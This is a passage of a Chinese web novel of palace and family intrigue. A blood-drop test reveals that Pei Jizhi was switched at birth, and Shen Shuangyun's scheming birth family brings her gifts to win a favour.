裴寂之蓦然凝眉,握住她的手腕,没有言语,反而把她带回围房。
那是间不大的屋子,装饰冷硬简洁,带着浓重的裴寂之味道。
裴寂之把沈霜云带到罗汉椅前,冷声道:“你坐下。”
随后,又吩咐兵丁,“去打水,拿伤药过来。”
“是。”
兵丁领命离去,片刻,端着热水和伤药回来,放下后,恭敬离开。
他还很体贴地把门关上了。
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>沈姑娘是自家大人的妹妹,好不容易来看哥哥一回,遇见这么糟心的事儿,还受了伤,自家大人虽然性臭如石,冷若冰霜,面对妹妹,总要矮下身段,温言去哄的。
谁家哥哥,能不对妹妹软下来?
他们在跟前,大人可能末不开面儿。
躲了躲了。
兵丁特意把人轰走。
屋里,就剩下裴寂之和沈霜云。
两人沉默着。
半晌。
“把伤口处理一下吧。”
裴寂之率先开口,他拿起沙布,用热水打湿了,再握住沈霜云的手腕,去擦试她的伤口。
皓白的腕子,染上点点血迹,因为热水的刺激,微微瑟缩着,显出几分可怜。
裴寂之墨眸深沉,突的有几分后悔。
他怎么能容许,他的妹妹,在他的地盘上受伤?
沈霜云却没注意,她的视线,全停留在裴寂之依然在流着血的胳膊上。
她!
她!!
她!!!
控制不住地冒出个冲动的想法。
十分莽撞。
千分危险。
万分冒险。
但……
要是成了,收获也是巨大的。
按理,她真的不该这么干,谨慎稳重才是正道,可是,她控制不住。
谨慎这么多年,她也该拼一把了。
“大哥哥,我看你也流血了,我替你包扎一下吧。”
沈霜云内心澎湃,面上不动声色,她拿过沙布。
裴寂之拧眉,想要拒绝,然而,没给他开口的机会,沈霜云已经上前了,他便也闭口默认。
沈霜云体贴地倒出些热水,像是准备专门替他擦试伤口。
裴寂之本想说:不必。
他一个大男人,他不是二弟,没有那么洁癖,不用麻烦,随意就好,谁知,沈霜云拧帕子时,像是碰到伤口,疼得手腕颤动。
他胳膊上的血,滴入水盆。
沈霜云皓白腕子上的血,同样落进水中。
两滴血……
没有相融。
亲兄妹的血,怎么可能不相融呢?
沈霜云的目光,‘惊愕’地注视着,仿佛看见了鬼。
顺着她的眼神,裴寂之也望了过去。
第67章 裴寂之身世揭穿,大哥哥不是亲哥哥喽
寂静。
死一样的寂静。
沉默。
死一般的沉默。
两个人,四只眼睛,直勾勾地盯着两滴不能相融的血。
呆滞。
惊愕。
只是,裴寂之的惊是真的。
沈霜云的‘愕’却是假装。
裴寂之不是镇国公府的世子爷,他是庆元帝和裴贵妃的孩子,是当今皇帝膝下,唯一的血脉子嗣。
他应该是太子。
厉王**时,死的那个太子,才是镇国公府的世子爷。
先夫人白氏和裴贵妃的孩子,是调换过的。
前世,沈霜云是在楚清晏当上太子,入主东宫,她跟继太子妃宫斗时,无意从一个老嬷嬷那里,知晓这桩旧事。
只是那会儿,裴家已然满门抄斩,裴贵妃自尽而亡,裴寂之也不知下落。
她一个深宫女眷,知道这样要命的事儿,有什么用?
只能守口如瓶。
重生回来,她毅然决然选择注定灭门的镇国公府,裴寂之的身份,是很大的理由之一。
但……
她一直头疼,棘手着要怎么揭穿这件事!
救驾时,在裴贵妃后宫养伤那会儿,她就找过前世那个嬷嬷,一无所踪。
隐约探到,她如今应该在南方行宫。
裴寂之是庆元帝和裴贵妃之子,是事实,但沈霜云突然没有证据,空口白牙去说,裴家人恐怕会觉得她疯了。
且……
她凭什么说?
裴寂之问她一句:你从哪里知道的?
沈霜云无言以对。
她难道要说:我是重生的!
这比梦先夫人白氏入怀都来得不靠谱好吗?
怎样揭穿真相,是她心头大疑。
今日,天赐良机。
她和裴寂之都受伤了,鲜血却不相融……
“大,大哥哥,你……”
沈霜云做出惊愕万分的模样,骇然出声。
然而,话音未落,突然,一双手攀上她的脖子,致命的窒息感袭来,她头昏眼花,朦胧中,看见裴寂之薄凉的眉眼。
“啊!!”
沈霜云脸色胀红,伸手扣住他的手腕,替自己争取稀疏的空气。
杀,**灭口。
这就是要她面对的危险。
“救,救命,不要,母,母亲,照野,父亲……”
她低声,一个一个地去唤,会引起裴寂之心神恍动的人。
裴寂之垂眸,面色漠然地俯视。
他居高临下,神似凉薄。
实则……
心中平地波澜,不能宁静。
他,他和沈霜云的血不能相融!!!
他不是镇国公府的血脉!!!
这怎么会?
裴寂之并不怀疑沈霜云的身份。一来,家里几个弟弟,包括他在内,对柳姨娘的女儿都恨之入骨,昔日父亲找到她们时。
经历了他们几兄弟,最严苛的调查。
身份绝对不会有错。
二来,沈霜云和沈婉音都滴血认亲了。
用的是二弟、四弟和五弟的血。
当时,他在外办差,三弟在边关。
二弟、四弟和五弟的血,都能和姐妹俩相融。
沈霜云就是裴家的姑娘,是父亲的女儿,这是铁一样的事实。
但……
他不是。
裴寂之都懵了,深入骨髓,帝王宠臣的第一反应,是保护己身,**灭口。
他掐着沈霜云的脖子,细嫩得仿佛稍微握紧,便能勒断。
她的挣扎反抗,像幼猫挥舞爪子般无助。
只要他想,这个女孩儿,随时都会死。
但……
掌下的生命是那么脆弱,少女的指尖,死死扣在他的胳膊上,带来缕缕刺痛,她喘息着,杏眸因缺氧,漫出一抹水痕。
她断断续续地咳嗽,“大,大哥哥,不要,我,我什么都不会说的,或许是,咳咳咳,是误会,我不想死。”
“我,我刚刚回家,刚有了母亲和弟弟,刚刚找回亲情。”
“咳咳咳,我都没见过父亲……”
“哥哥,哥哥!”
裴寂之的手,突然就软了。
沈霜云才是镇国公府的血脉,她,她……有些心机,看似刚正,实则狡猾,可归家后,却不曾做一件,有害镇国公府的事。
她也算是尖牙利嘴,几番被怀疑,都硬碰硬地怼回来,可看到他马场遇险,也会回眸关切。
她替丹雪除害,**于无形,手段利落,但却遵守承诺。
不管怎么被误会,始
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终守口如瓶。
刚刚十五岁的女孩儿,如果生在镇国公府,会是何等受宠娇纵的大小姐,可她在沈家受尽苦楚,回到家中,也只有继母和照野聊有关切。
三弟、四弟,视她如敌寇。
二弟和他,纵有些许内疚,但也任由三弟、四弟针对她,不曾施以缓手。
如今……
他要亲手杀了她吗?
他都不是父亲的血脉,缘何杀他的女儿?
裴寂之心头大震,蓦然松开手。
沈霜云一朝逃出升天,浑身瘫软,向倒仰去。
她身后是坚硬的青石板,重重跌下去,后脑着地,怕是要摔个不轻。
裴寂之下意识伸手,环住她的腰身,向前一拉。
沈霜云跌进他的怀里,胳膊本能攀住他的肩膀,头靠在他臂膀里,大口地喘气。
天,天啊,可掐死她了。
她眼前发花,站立不稳,只能靠在裴寂之的身上。
第一回没掐死她。
就不会在有下回了。
她倒是放心。
裴寂之浑身僵硬,女子柔软馨香的身体抱了满怀,他脑中瞬间一片空白。
以往……
他不是没抱过沈霜云,威逼警告时,拉手拽腕都是常事,但那时,她是妹妹啊。
同父血缘,自然不用那么顾忌,可如今,自己身份存疑,沈霜云就从亲妹妹变成了……
女子。
一个妙龄年华,身娇体软,靠在他怀里的少女。
裴寂之是个光棍啊,九年守孝,他身边别说通房侍妾了,连个好岁数的丫鬟都没有。
守孝时全打发出去了。
他院中唯二的女人,一个是三十多岁的厨娘,一个是四十多岁的掌事嬷嬷。
还是他奶娘。
剩下的青一色全是小厮,他兼任的官儿,也多是武职,很少能接触到女子,活了二十多年,跟他说话最多的。
两个人。
继母谢氏。
还有霜云。
曾经,一个是继母,一个是妹妹,可眼下……
裴寂之怀里的娇躯,柔若水,软如绵,还散发着淡淡的女儿香,薰得他心神恍惚。
他想放手。
可沈霜云大概是真的头昏,死死攀着他的肩……
第68章 裴世子不把霜云当妹妹了
软玉温香,但不是妹妹的女孩儿,抱了个满怀。
裴寂之紧紧拧着眉头,心神动荡地展臂。
打横把沈霜云抱起来,他本想把人放到罗汉椅里坐着,再叫来军医把脉,然而,垂头一看……
小小的女孩儿脖子上,显眼至的手掌形青紫痕迹。
那是他掐的。
怎么见人?
“霜云?沈霜云!”
他唤,想问她如何?结果,骤然发现,小姑娘居然已经昏死过去了。
裴寂之面沉如水,抱着她走进内室。
那是他平时办公累了,偶尔小憩的所在,屋里充斥着他的气息。
沈霜云在他怀里,不安的动了动,白皙的手,握得更紧。
裴寂之凝视着她,半晌,幽幽一叹,轻轻把她放到贵妃榻里。
那上面,辅着他去年猎到的黑熊皮。
野生漆黑的兽皮,衬得脸色苍白的沈霜云,格外脆弱纤细。
美得惊人。
裴寂之的瞳仁晃了晃。
片刻,又垂下去,转身从柜子里取伤药,亲手替沈霜云涂抹起来。
女儿家娇嫩的肌肤,涂得他……
心神动荡。
——
沈霜云是真的昏过去了。
缺氧缺的。
只是到底不严重,她昏了约莫一个时辰,就醒过来了。
在降云阁的榻里。
“我,我是怎么回来的?”
她迷迷糊糊的问。
到也没急。
毕竟,能醒过来,就说明裴寂之放过她了。
“大姑娘,是世子爷把您送回来的,说是五城兵马司出了大事,有人刺杀他,您无意牵扯进去,受了惊吓。”
桃心守在榻前,见自家姑娘醒了,忙端茶递水,满脸关心,“姑娘,你身子怎么样了?”
“可还有哪里难受?”
“喝些水吧。”
她体贴去扶。
沈霜云借着她的力道起身,喝了口茶,伸手去摸脖子。
那里缠着圈纱布。
桃心注意到了,便道:“……您回来的时候,就是这样了,世子爷说,是惊马伤着的,他已经处理过,抹了伤药,不让咱们动。”
“哦~”
沈霜云垂眸应,声音带着沙哑。
那是被掐的声带受损了。
裴寂之,平时沉默寡言,说起谎来倒是眼睛都不眨。
她心里啧啧,面上不显,“大哥哥呢?还在府里吗?”
“世子爷出城了。”桃心以为自家姑娘是关心哥哥,忙道:“他回府后,去了看二少爷、四少爷,五少爷后,不知做了什么,好像惹了二少爷不高兴,然后……”
“就出去,据说是找三少爷去了。”
“哎,世子爷都**了,还要忙着探望兄弟,也不知是哪个混帐,居然敢在京城动手。”
“也不知几位少爷,会不会有事?老爷久不在京城,府里只有夫人支撑着,可千万别受伤啊!”
才不会呢。
你口里那几位少爷,眼下能受得最重的伤,大概就是被裴寂之扎手指头了。
沈霜云抿唇,想想马场**时,裴寂之淡漠神情,从容叮嘱,这位应该是早就收到消息,不需她多嘴。
他唯一没料到的,大概就是突然的‘身世之迷。’
不过……
“大哥哥没给我留下什么话吗?”
“话?”桃心一愣,还没回答呢。
外间,裴照野端着药碗,蹦蹦跳跳地跑进来,“留了留了,大哥给你留了个纸条儿。”
他说着,跑到榻前,先把药递给沈霜云,催促着,“大姐姐快喝药。”
沈霜云接过,一口饮尽。
裴照野又把甜滋滋的干果塞她满口,替她解了苦,这才把裴寂之留下的纸条递过去。
沈霜云展开,垂眸去看。
就见上面,龙飞凤舞,几个大字。
——纳口,谨言,余者,皆由我定。
就是让她闭嘴喽。
沈霜云抿唇,心里却有些欣喜。
不管怎样,裴寂之的身世,终于揭开小小的一角。
“大哥哥写了什么?”裴照野好奇的探过头来,口中还不停地猜测,“是不是说他被行刺的事?”
“哼,大哥说我是小孩子,我怎么问他都一言不发,就让乖乖的,最近别出去乱跑!”
“还莫名其妙地扎我!
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”
“我可不是什么小孩子,我是‘雌雄双煞’,什么不知道?能在五城兵马司**的,下手又那么狠的,除了晋王党,还会有谁?”
“最近,大哥和二哥‘飞燕传书’,嘀嘀咕咕搞的什么,以为我不知道嘛,小爷我可聪明啦,不就是‘请君入瓮’的作戏吗?”
“大哥抓的那个小官儿,刚送进大理寺,就咬出了晋王妃嫂子的娘家的小姑姑的丈夫的外甥,拔出萝卜带出泥儿,再审下去,不定要挖出什么呢。”
他叽叽喳喳的,也看见了纸上的内容,满脸不解,“纳言?什么意思?大姐姐你看见什么了,大哥哥不让你说话?”
“你说嘛你说嘛你说嘛。”
“什么什么什么?”
“呃!”
沈霜云仍旧有些昏沉的脑子,被‘十万个为什么’的问得阵阵发黑。
什么嫂子的小舅子的什么来着?
好,好遥远的亲戚关系啊。
裴寂之还取了照野的血?哦,是还想滴血在确认一下吧。
对了,桃心说,不止是照野,裴寂之还取了二哥哥和裴寒声的血,而且,又出城了。
要一网打尽,一个不落啊。
她脑着,口中不忘回答裴照野,“我这回替二哥给大哥送信,刚好也在惊马现场,大哥大概是怕我破坏了他的计划,就让我别多话……”
“大姐姐,惊马现场什么样呀?我问大哥,他都不说,脸绷得好像石头一样,也不知道为什么不高兴!”
裴照野被吸引走了注意力,缠着沈霜云,“我好好奇,你跟我学学呗。”
“照野,你大姐姐刚遭了难,正该好好休息呢,你别缠着他。”外间,谢夫人走了进来。
沈霜云昏着被送回来,她急得不行,原来一直陪着的,后来,府里来了客人,她才无奈离去,但也留了下人守着。
听到孩子醒了,她急赶慢赶的过来,额间都冒出薄汗,上前,探手去抚沈霜云的额头。
她道:“哎哟,可是吓死个人,这回你遭了罪,就好好在家里休养十天半个月的。”
“晋王世子的纳妾礼你就别去了!”
第69章 大哥哥不甘心啊
晋王府和镇国公府,本身就面不和,心也不和。
偏偏,楚清晏的纳妾请帖,镇国公府的人,上至主母谢氏,下至裴家几个公子,谁都没接着。
只有沈霜云手里有。
谢夫人打心眼里,不愿意让她去。
无奈着,晋王府请人的理由——沈霜云是新妾的‘娘家人’。
姐妹闹得在怎么僵,都是血缘亲人,一母同胞,谢夫人不好说话,只能默认了,如今,沈霜云病了。
她当然要阻止。
沈霜云轻轻蹙眉,谢夫人的好意,她很明白,但没法接受。
楚清晏和沈婉音的‘婚事’,她有太多要参加的理由,只能婉拒谢夫人的好意。
“母亲,我得去的。”
“二哥哥答应会陪我,您不用担心。”
谢夫人蹙眉,心里也明白她的难处,想想九卿那脾气,终归有些不放心,她叮嘱,“照野,那天,你也陪你大姐姐去一趟吧。”
“多带些侍卫,别让她受欺负。”
“沈家那群,哼……”
早忘了昔日,还因为沈霜云‘利用’照野,生心不满,敲打过她,今日,谢夫人自己把儿子派出去了。
霜云实在是贴心的好孩子。
让人心疼。
“哎,娘,你放心,我肯定保护好大姐姐。”裴照野拍着胸膛保证。
谢夫人揉了揉他的头。
沈霜云也轻笑。
自觉放下了好大一桩心事。
先白夫人和裴贵妃的换子之事,交给裴寂之去查,总要比她来得方便许多。
——
沈霜云轻松了,裴寂之却……
很累。
心累。
疲惫。
外加无限茫然。
遇到刺杀,手段都动到五城司马司了,又事关晋王府……
虽然那动手的小官,跟晋王府的关系,一表八千多里,但,究竟怎么回事?朝中敏感些的官员都知道。
庆元帝心里也未尝没有想法。
镇国公府,是年迈老皇帝牵制宗室的利器,况且,裴贵妃陪伴他多年,裴寂之是他看着长大的,充做子侄那么疼的孩子。
晋王府跟镇国公府党争,他是一手促成,可晋王出手要命。
还是在兵马司,堂而皇之地动手。
庆元帝不能容忍。
可是,把那犯事之官送到大理寺之后,出乎所有人的意料,裴寂之居然没赶狗入穷巷,而是搁在那儿就得了。
不晓得为什么?
他蛰伏了。
天天往城外跑,甚至研究起先白夫人的旧仆。
仿佛把刺杀这样致命又挑衅的举动,视作无物。
文武百官们,真是摸不着头脑了。
反而庆元帝,觉得亲爱的裴卿是心疼他这个老皇帝,怕他在太后面前难做,心里又感动又气恼。
“寂之啊,寂之,这天下,除了你之外,还会有谁宁愿受委屈,还要顾及朕的心思呢。”
“你啊,就是嘴太硬,脾气太刚正,不会花言巧语,到让外人觉得你无情,冷漠,心肠硬。”
“他们不懂你啊。”
自幼被偏心,太后疼爱幼子晋王的脚后跟,都比疼爱长子来得多的庆元帝,老泪纵横。
老皇帝,别看他平时雄才大略,英明神武,内里感情很充沛。
私下,时不时要拉着爱臣哭一场的。
“寂之,你受苦了。”
庆元帝流着泪,赏赐了许多财物,补偿给他的爱臣——‘受尽委屈’、‘体贴入微’裴寂之。
又令大理寺官员,“不必手下留情,定要把裴卿**之事,查得清清楚楚。”
“朕绝不姑息养奸。”
哦。
原来裴大人是以退为进啊。
朝臣们自觉了然,纷纷佩服裴大人的手段。
但是……
“大哥,我怎么觉得,你不是那么个意思呢?”镇国公府,裴九卿在‘女鬼杀案’的卷宗的百忙中,挣扎着抬起头来,找到裴寂之,没好气地问他,“你最近在干什么?”
“天天城里城外的跑,又调查娘的旧闻。”
“你还偷偷扎我、寒声和照野。”
“我们让你扎好几回了,照野天天吃红枣补血,大哥,你到底要干什么?”
裴寂之冷眸垂下。
心中苦涩。
他暂时无心追究晋王府的原因,当然他的身世。
跟沈霜云血液不融,裴寂之自然也不是很甘心,就那么认自己是个来历不明的‘混
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种串儿’,怎么都要挣扎几下。
那日,他把沈霜云送回府来,转头就去了裴九卿院里,二话没说,按住‘娇弱瘦小’的弟弟,拿着竹签子,当场给人家扎出血了。
他扎地,还是裴九卿翻阅案卷需要用的右手。
把本身脾气就差的裴九卿气得啊,跳起来打他的头,偏偏,裴寂之扎完就走,裴九卿人矮腿短,跳着脚地追不上他。
只能瞪着他的背影,指天骂地的吼,“裴寂之,你有病啊!!!”
裴寂之仿若未闻,带着血回到书房,自扎自的放了回血。
都摘进盆里。
结果……
显然易见,不融。
裴寂之:……
不甘心。
找四弟,扎他。
不融!
找五弟,扎他。
不融!
出城找三弟,扎他。
还是不融。
几天的功夫,他轮番把四个弟弟扎了五六遍,扎着裴照野看见他就跑,晚上甚至做了让蜜蜂追着蛰的恶梦。
裴寂之终于消停。
认命了!
但要他相信记忆里温柔孱弱的母亲白氏,是会背着父亲出轨,生下‘野种串儿’的女人,他也做不到。
关键是,名义上,他和二弟、三弟、四弟都是母亲所生,怎么那三个全是真的,就他一个串儿啊?
这不正常。
裴寂之近来再找先夫人白氏的旧仆,调查身世,顺便想谋个出京外巡的差事。
白夫人父母已逝,但有个亲哥哥在南州做道台,裴寂之想出去那儿,扎‘舅舅’几下。
验一验他是不是白夫人的孩子。
毕竟……
经过裴寂之翻地皮般的调查,白夫人的确没有出轨的条件。
或许,其中有内情。
他,不是父亲的血脉,也未必是白夫人亲生。
“二弟,我做这些,总有理由,等我查清后,自然会告诉你。”
裴寂之沉声。
裴九卿艳丽的脸庞,皱巴得跟老头似的,可心知自家大哥又臭又硬,盘古顽石的脾气,也没执着追问,倒是说起旁地。
“大哥,我探听到,楚清晏在太后面前进言,想娶霜云做继室,你有什么想法?”
第70章 沈墨言决定委屈沈婉音
晋王世子妃史氏,是明惠长公主的孙女,家族雄厚,性格跋扈,嫁入晋王府小十年了。
楚清晏膝下空空。
无子无女。
史氏是京中出名的‘河东狮’。
她惯来神采飞扬,上回晋王妃寿宴时,还张牙舞爪呢,短短数月,不晓为何,突生重症。
太后谴派太医前来诊治,均都回禀:求药可救,也就这一、两个月的功夫,准备后事吧。
史氏要死,晋王府无人怜惜,晋王妃反倒开始琢磨儿子的继室人选。
楚清晏二十六了,搁别人,这个岁数,已七子八女。
孩子都要懂事了。
楚清晏向太后求了镇国公府大姑娘——沈霜云为继室,打的是史氏**,明年选秀,太后直接下懿旨,慈令不可违的主意。
太后倒是愿意替小儿子添个助力。
能拉拢镇国公府,清晏的太子之位也稳当几分,至于配个庶女委屈孙儿!
大不了,孙儿继位后,另娶贤后,让沈氏女做个妃就行了。
她想得很好。
可裴贵妃不愿意啊。
她在后宫经营多年,六宫大权皆归她手,麾下人马无数,楚清晏的主意一出,就有人给她通风报信。
她想法子,把这事透露给庆元帝。
庆元帝面色阴沉,未出一言。
裴贵妃猜不透他的心思,就又传信回娘家。
谢氏偏心沈霜云,寒声和临渊太偏激,裴贵妃想了又想,仅告辞了裴寂之和裴九卿。
“大哥,你说这回霜云去赴宴,楚清晏那个变态,会不会使点什么恶心手段?”
“或许,史氏也不是个省油的灯,她还没死呢,晋王府连继室人选都挑中了。”
“她会甘心?明惠长公主会眼睁睁看着?”
裴九卿笑得艳丽凶恶。
裴寂之墨眸深沉,
他……
虽然焦头烂额身世问题,晋王府那里,却也没落下。
“二哥,你不必担心,前日,我跟史尚书喝过茶了。”
史尚书,明惠长公主的儿子,世子妃史氏之父。
“哦?大哥,你动作到快。”裴九卿挑眉。
裴寂之沉声,“你就专注‘**案’就是,我觉得此案没表面那么简单!”
“成,我知道了。”
裴九卿点头。
犹豫片刻,没告诉大哥,他会陪霜云去赴宴。
算了,也不是什么大不了的事,他挤挤时间,别打扰大哥了。
大哥最近,好像也很烦恼的样子。
裴九卿私下决定。
裴寂之看着弟弟脸上的黑眼圈,心里想着:二弟公务繁重,霜云之事,他自己办了就成。
别告诉他了。
——
镇国公府,谢夫人开始指点沈霜云,怎么挑些华而不实的‘破烂’,给晋王府当贺礼。
沈府!
沈**和周氏也在忙碌着,替沈婉音置办嫁妆。
夫妻俩忙得昏天黑地,又期盼又心疼。
“给了吧,给了吧,婉音嫁过去之后,世子爷答应替我谋官,我要成官身了,花银子就当贿赂了。”
沈**看着女儿的嫁妆单子,心都滴血了。
到是沈家四兄妹,有父母挡在前头,他们浑身轻松,沈墨言特意请假,带着二弟、三弟陪妹妹出来散心。
“婉音,一转眼,你就要嫁人,哥哥真舍不得你啊。”
沈墨言叹息,心中颇产生了些‘吾家有妹初长成’的感慨。
沈宁川和沈今安也满心不舍。
今日,两人都带着银子,准备好好替妹妹添妆。
加起来三百多呢。
那是他们攒了好几年的私房。
沈婉音撇嘴,心里万分瞧不上,三百两银子够干嘛的?前世,她抹脸的珍珠粉,就值上千两。
今生,沈霜云戴的首饰,随便拿出一件,也值这个价儿。
不成!
不能在让三个哥哥颓废浪荡下去了,他们得去争斗,去拼博,去上进,好替自己撑腰啊。
“……二哥哥,我看那个方大儒,已经被屎糊了眼睛,怎么都不肯见咱们,可是,明年你就考进士了,还是要拜个先生的。”
“如今科举那么黑暗,二哥哥都落榜一回,可见单有天纵之才没有,你得有靠山,要不然,在落榜,又要花费三年。”
“我真不忍心,二哥哥的青春,蹉跎在官场黑幕里。”
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>沈婉音撅嘴。
沈宁川顿步回眸。
他……
其实不急,他今年刚十九岁,未及弱冠。
正所谓:三十老明经,五十少进士,他在厚积几年,哪怕经历两、三科考上。
也未满三十。
依然是‘青年英才’。
但妹妹一直催促他上进,倒也给沈宁川增添了几分紧迫感,“婉音,我倒是想拜师,可是,不是没有门路吗?”
官商之别,有如天地。
没有十成把握,他不会放弃现下的师父。
“我觉得,还是要从姐姐那里想办法,她爱出风头,不愿意把方大儒让出来,那咱们就走别的路子呗。”
沈婉音小声,眼里全是算计。
沈今安拧眉,提起那个**,他心里就不耐烦,“婉音,沈霜云自私恶毒,对咱们敢打敢骂的,她能给咱们什么路子?”
“姐姐小家子气,咱们不动她的东西不就得了。”沈婉音扬头,自觉冰雪聪明的建议。
“那府里二爷裴九卿的先生许仲闻,也是名满天下的大儒,单论学问,比方知喻还要厉害,就是学生少。”
“咱们让姐姐托裴九卿,把二哥介绍给许先生,不动她狗头金护着的方大儒。”
“不就成了!”
许仲闻。
那位太子太师,三朝老臣!
沈宁川心动了,他眼神发亮,却又迟疑,“霜云能愿意吗?”
“就是向裴二少求个情,她敢不愿意?爹送她回镇国公府,为的不就是帮咱们兄弟吗?”
“难道是为了让她享福?”沈今安冷笑。
沈宁川皱眉依旧未解。
他不像三弟那么乐观,觉得理所当然。
沉默许久,“这几次见霜云,她怨气颇重,对咱们也不客气,让她松口,恐怕没那么容易。”
“没事,二弟,你想得太多,大哥了解霜云,他能放下咱们?”沈墨言嗤笑一声,眉眼飞扬地笃定,“她啊,也就是跟咱们闹脾气。”
“觉得咱们偏心婉音,婉音乖巧可爱,咱们偏她是应该当的,可如今,情况不一样,为了二弟的前程。”
“好婉音,大哥要委屈你一番了!”
第71章 沈家兄弟多疼霜云啊
沈墨言叹气,一脸疼惜地看着妹妹,“好婉音,为了你二哥的前程,你让让霜云成不?”
“唉,谁让她嫉妒心那么重呢,真是不懂事啊!”
“没关系的,大哥,为了二哥,我愿意受委屈。”沈婉音连声,绝不放过在二哥心里,加重自己的机会,“我心甘情愿的。”
果然,沈宁川眼里浮出动容。
沈婉音满意笑了。
“大哥,你打算怎么做?”沈今安好奇地问。
“这不是快到婉音的生辰了吗?霜云跟她是双胞胎,也是同日的生辰,咱们给她买些礼物,提前送过去,关心关心她,说几句好话。”
“小女子心性,她也就在意这些了。”沈墨言断然。
沈今安撇嘴,不大情愿,“还要说好话?她也配?”
“她都拒了我的婚事,还打我……”
“为了你二哥嘛。”沈墨言劝他,“老三,大局为重。”
沈宁川也安慰,“三弟,难为你了。”
被两个哥哥哄,沈今安心气顺了,“算了,我大人不计小人过,敷衍她一下好了。”
“三哥哥真大度。”沈婉音拍手赞他。
沈宁川又得意了。
四兄妹打定主意,就去了京城名铺‘花想容’,买了胭脂官粉,墨黛口脂,又提了些点心,前往镇国公府。
——
镇国公府。
沈霜云刚从正院回到降云阁,正准备坐下歇歇呢,桃心进来禀报,“大姑娘,沈家三位公子和婉音姑娘求见。”
“在哪儿?”
明日就是纳妾礼了,今天来找她干什么?
“回姑娘,沈家诸位在前院书房呢。”桃心禀。
沈霜云蹙眉,想说不见,但又好奇他们的来意,眼波微转,突地笑了,“我刚回院里,腹中饥饿,不便见客。”
“让他们等等吧。”
“你们先摆膳,我吃完在去。”
“是!”
桃心领命。
自退下布置不提。
这一等,就是足足一个半时辰。
沈霜云用着碧粳米,喝着黄焖鱼翅汤,美滋滋用完,还吃了饭后甜点,小睡一下。
随后,才去往前院小书房。
彼时,沈家四兄妹屁股都坐麻了。谢夫人嫌弃他们,府中下人从主,自然也没给他们好脸儿。
一壶凉茶,几碗腻呼呼的点心。
把几人晾得心浮气躁。
沈今安憋了泡尿,憋得肚子都疼了,刚想找下人带他去恭房,沈霜云就来了。
“你可真难请啊,兄长们上门,不说跪迎,也得懂点礼吧。”
“哪有让客人等那么长时间的,一点都不如婉音体贴。”
沈今安憋得难受,气得大骂。
沈霜云眉目冰冷,嗤声道:“递上请帖,得主人允许前来拜访的,才是贵人。”
“不请自来的又是什么?”
“我要帮母亲料理家事,是很忙的,三哥觉得我不好,那就自便,我不招待了。”
爱待待,不待滚。
沈霜云转身就走。
前世,刚入晋王府时,每每回沈府寻家人……不拘诉苦,还是求助。
她都要等在院子里外。
明明院里能听见三个哥哥和沈婉音笑闹的声音,食物香气也散得四处都是。
沈霜云偏不能进去。
她的呆呆地站着,一直苦等,直到人家玩尽兴了,才会屈尊降罪地‘召见’她。
半个时辰,一个时辰,两个时辰。
她都等过。
如今,风水轮流转,也该沈家人尝尝苦等的滋味了。
才一次,一个半时辰就受不了了。
以后这样的事儿多了。
沈霜云冷笑。
沈家兄妹没想到,她居然一言不合,转身就走,瞬间愣在当场,沈宁川大急,他们今日可是来求和,求帮忙的,哪好闹僵了?
他赶紧起身,一把握住沈霜云的手腕,前所未有地扬起笑脸,陪上小心,“大妹妹,你别急,你三哥是等的急躁,太想你了,他不是故意的。”
“对吧?今安。”
“还不快跟大妹妹解释清楚。”
“我!”
我想她?
沈今安面色一红,心里莫名的‘呯呯’跳了两声,竟似心动,转瞬,又被他压下去。
‘呸呸’唾弃。
沈今安,你疯了不成?居然会为
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了沈霜云那**害羞!
气的。
一定是气的。
他压下心中异样,满眼,说不出是为了二哥着想,还是莫名妥协,他嘟囔道:“那个,霜云,是,是我急了,不是故意骂你的。”
“你别往心里去。”
“就,就那么回事吧。”
哟,罕见啊。
沈家人居然服软了。
沈霜云挑眉,似笑非似扫了眼沈婉音,这位居然也没跳脚。
奇怪了!
她面色微晴,转身坐下来,“几位今日来找我,是为何事啊?”
“妹妹明日都要入晋王府,不好生准备着吗?”
“就是快入府了,才过来看看你嘛。”沈宁川笑眯眯,温和眉眼带算计,他道:“这不是,后日是你和婉音的生辰,往年,我们都会替她大办一场,但今年不同。”
“她要嫁人,成别人家的媳妇的,新婚燕尔,我们不好打扰,干脆想着,提前替她庆祝。”
“你和她是双胞胎,她的生日,也是你的生日,我想着,你初回镇国公府,谢氏是继母,裴家公子们呢,嘿,嘴上说得好听,实则也是外人。”
“他们哪会真的关心你?面子情罢了。”
“你二哥说得对。”沈墨言高高昂头,从怀里掏出买的胭脂水粉,放到桌前,施恩道:“你看看,这是哥哥们替你准备的生辰礼物。”
“花想容的胭脂水粉,足足三十两银子一套。”
“这么贵重的胭脂,平时婉音都要省着用,你见都没见过吧!”
谢氏给霜云些衣裳首饰,是为了撑她继母的好名声,做点表面功夫,像胭脂官粉这般,用不到明面上的私人物件。
她哪会给?
难不成,她能真的疼爱霜云,事事替她准备周全吗?
哈哈哈,开玩笑,霜云又不是婉音,天生讨人喜欢。
“还有这个,这是尚云斋的点心,你从小嘴馋,爱吃这个,还偷过婉音的,被娘教训了,这回,我们也替你买了。”
沈今安把点心包扔到桌上,撇嘴道:“你想要的都给你买了,日后可别说我们偏心婉音。”
“我们多疼你啊。”
第72章 给沈家兄弟长长见识
沈家三兄弟把一堆胭脂官粉摆到案前。
别说!
还挺多。
整整八个小匣子,精致小巧,盖着‘花想容’胭脂辅的红印。
“三盒桃花胭脂,两盒桃花官粉,两根墨黛,一盒桃花口脂。”
“大姐,你看三个哥哥多疼你啊。”
沈婉音撇嘴,不甘不愿地哄道:“咱们姐妹两个,一母同胞,是双生子儿,那是天赐的血脉缘分。”
“爹和娘救了你的命,哥哥们十几年如一日地疼爱你,如今,咱们虽然有了点误会,但是,血浓于水。”
“亲情总是斩不断的,如今,哥哥们大**量,体贴你,让着你,主动来向你求合了。”
“姐姐,你就别高傲了,好好的,咱们和好吧。”
“我知道,你心里也是舍不得咱们的。”
能做沈家人的团宠,哄得父母兄长疼爱她,沈婉音也不是单纯的蠢货,她看不起沈霜云,不愿服软。
但……
她心里知道,哥哥们更不愿意。
所以,这个软儿,她来服,头,她来低,梯子,她来搭。
不是为了沈霜云,而是为了让哥哥们更加的偏爱她。
果然……
她这番话一出口,沈家三兄弟感动不已,向沈霜云低头的窘迫,瞬间被心疼婉音代替。
“霜云,你看看你,那么倔强,一点亏都不肯吃,怪不得我们疼婉音呢。”
吃亏?
沈霜云挑眉冷笑。
呵呵,她凭什么吃亏?
前世的亏,她吃得不够多吗?
人,尤其是女人,一旦愿意吃亏,就会有数不尽的亏吃,这是血的教训。
她垂眸,冷冷看向那些带着‘桃花’字样的‘胭脂粉儿’,以及一包桃花酥。
